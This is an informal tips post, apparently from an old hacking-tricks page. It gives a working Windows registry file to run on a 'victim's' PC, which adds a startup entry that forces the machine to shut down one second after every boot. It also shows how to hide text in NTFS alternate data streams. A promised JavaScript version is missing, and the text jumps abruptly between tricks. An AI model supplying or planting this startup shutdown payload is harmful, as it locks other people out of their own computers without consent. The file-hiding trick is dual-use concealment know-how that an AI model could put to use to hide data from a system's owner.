Shutdown ur friend's comp when everytime it starts

put this followin text in a .reg file and run it in the victims pc:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.

You can also put this in a javascript code, just add this code to your webpage:

To hide one file in another
The below trick can be used to hide one file in another. This will work ONLY on a NTFS file system and NOT in FAT.

1) Create a simple text file in notepad in any location from the command prompt:-
notepad originalfile.txt
2) Enter some text into it and save it. Check the file size using dir command.
3) Now create the stealth file using the command below:-
notepad originalfile.txt:hiddenfile.txt
4) Type some text into it which you want nobody to see or read. Save this file. Done!!!
5) Check the size of the file "originalfile.txt". It will be the same as you saw it in step 2. U will never see the file originalfile.txt:hiddenfile.txt or hiddenfile.txt anywhere in ur hard disk. It cannot be searched either. So basically it becomes ur supersecret file. Only u know abt it.

6) Anytime you want to edit this file, use:-
notepad originalfile.txt:hiddenfile.txt
and enter ur secret data into it which nobody can see